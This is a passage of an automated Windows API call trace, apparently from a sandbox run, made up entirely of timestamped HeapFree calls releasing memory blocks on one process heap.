[0262.004] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0262.011] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0262.014] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0262.017] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0262.172] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0262.173] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0262.174] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0262.176] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0262.483] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0262.486] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0262.488] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0262.491] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0262.494] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0262.496] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0262.498] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0262.501] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0262.503] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0262.507] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0262.510] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0262.512] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0262.577] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0262.581] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0262.587] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0262.590] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0262.594] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0262.597] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0262.604] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0262.605] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0262.612] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0262.617] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0262.622] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0262.629] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0262.634] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0262.639] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0262.645] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0262.648] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0262.973] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0262.975] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0262.977] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0262.979] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0262.979] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0262.983] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0262.986] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0262.997] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0263.000] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0263.001] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0263.006] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0263.011] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0263.212] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0263.213] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0263.218] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0263.223] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0263.228] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0263.232] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0263.239] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0263.244] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0263.762] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0263.764] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0263.873] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0264.049] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0264.181] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0264.749] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0264.881] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0264.931] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0264.934] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0265.175] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0265.335] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0265.541] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0265.606] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0265.663] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0265.748] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0265.761] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0265.828] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0266.448] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45b9448 | out: hHeap=0x640000) returned 1 [0266.449] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45b9448 | out: hHeap=0x640000) returned 1 [0266.449] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45b9448 | out: hHeap=0x640000) returned 1 [0266.449] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45b9448 | out: hHeap=0x640000) returned 1 [0266.449] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45b9448 | out: hHeap=0x640000) returned 1 [0266.449] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45b9448 | out: hHeap=0x640000) returned 1 [0266.449] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45b9448 | out: hHeap=0x640000) returned 1 [0266.450] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45b9448 | out: hHeap=0x640000) returned 1 [0266.450] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45b9448 | out: hHeap=0x640000) returned 1 [0266.450] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45b9448 | out: hHeap=0x640000) returned 1 [0266.450] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45b9448 | out: hHeap=0x640000) returned 1 [0266.450] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45b9448 | out: hHeap=0x640000) returned 1 [0266.451] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45b9448 | out: hHeap=0x640000) returned 1 [0266.451] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45b9448 | out: hHeap=0x640000) returned 1 [0266.451] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45b9448 | out: hHeap=0x640000) returned 1 [0266.451] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45b9448 | out: hHeap=0x640000) returned 1 [0266.451] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45b9448 | out: hHeap=0x640000) returned 1 [0266.451] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45b9448 | out: hHeap=0x640000) returned 1 [0266.452] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45b9448 | out: hHeap=0x640000) returned 1 [0266.452] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45b9448 | out: hHeap=0x640000) returned 1 [0266.452] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45b9448 | out: hHeap=0x640000) returned 1 [0266.452] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45b9448 | out: hHeap=0x640000) returned 1 [0266.452] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45b9448 | out: hHeap=0x640000) returned 1 [0266.452] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45b9448 | out: hHeap=0x640000) returned 1 [0266.452] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45b9448 | out: hHeap=0x640000) returned 1 [0266.453] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45b9448 | out: hHeap=0x640000) returned 1 [0266.453] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45b9448 | out: hHeap=0x640000) returned 1 [0266.453] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45b9448 | out: hHeap=0x640000) returned 1 [0266.453] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45b9448 | out: hHeap=0x640000) returned 1 [0266.453] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45b9448 | out: hHeap=0x640000) returned 1 [0266.453] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45b9448 | out: hHeap=0x640000) returned 1 [0266.454] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45b9448 | out: hHeap=0x640000) returned 1 [0266.454] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45b9448 | out: hHeap=0x640000) returned 1 [0266.454] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45b9448 | out: hHeap=0x640000) returned 1 [0266.454] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45b9448 | out: hHeap=0x640000) returned 1 [0266.454] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45b9448 | out: hHeap=0x640000) returned 1 [0266.454] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45b9448 | out: hHeap=0x640000) returned 1 [0266.455] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45b9448 | out: hHeap=0x640000) returned 1 [0266.455] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45b9448 | out: hHeap=0x640000) returned 1 [0266.455] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45b9448 | out: hHeap=0x640000) returned 1 [0266.455] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45b9448 | out: hHeap=0x640000) returned 1 [0266.455] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45b9448 | out: hHeap=0x640000) returned 1 [0266.456] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45b9448 | out: hHeap=0x640000) returned 1 [0266.456] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45b9448 | out: hHeap=0x640000) returned 1 [0266.456] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45b9448 | out: hHeap=0x640000) returned 1 [0266.456] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0266.458] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0266.461] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0266.464] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0266.891] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0267.051] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0267.062] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0267.087] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0267.281] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0267.326] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0267.364] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0267.422] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0267.441] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0267.587] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0267.675] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0267.675] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0267.677] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0267.793] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0267.798] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0267.798] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0267.806] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0267.810] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0268.570] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0268.646] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0268.646] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0268.646] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0268.647] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0268.655] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0268.655] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0268.664] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0268.667] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0268.668] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0268.668] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0268.673] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0268.673] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0268.673] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0268.679] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0268.683] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0268.689] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0268.689] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0268.696] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0268.833] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0268.833] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0268.833] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0268.835] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0268.838] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0268.838] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0268.840] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0268.840] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0268.840] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0268.887] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0268.903] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0269.992] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0269.993] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0269.994] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0269.995] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0269.996] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0269.997] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0269.998] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0269.999] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0270.001] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0270.001] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0270.002] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0270.003] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0270.004] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0270.005] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0270.006] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0270.007] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0270.008] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0270.009] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0270.010] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0270.011] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0270.012] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0270.015] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0270.015] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0270.016] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0270.017] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0270.018] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0270.019] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0270.020] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0270.021] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0270.022] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0270.023] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0270.024] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0270.025] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0270.026] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0270.026] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0270.027] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0270.027] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0270.029] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0270.029] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0270.030] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0270.031] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0270.032] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0270.032] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0270.033] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0270.204] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0270.205] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0270.276] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0270.394] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0270.400] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0270.401] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0270.401] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0270.401] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0270.412] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0270.416] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0270.572] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0270.572] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0270.576] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0270.773] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0270.981] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0270.982] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0270.984] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0270.984] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4524730 | out: hHeap=0x640000) returned 1 [0271.143] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4524730 | out: hHeap=0x640000) returned 1 [0271.264] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0271.264] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4524730 | out: hHeap=0x640000) returned 1 [0271.670] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 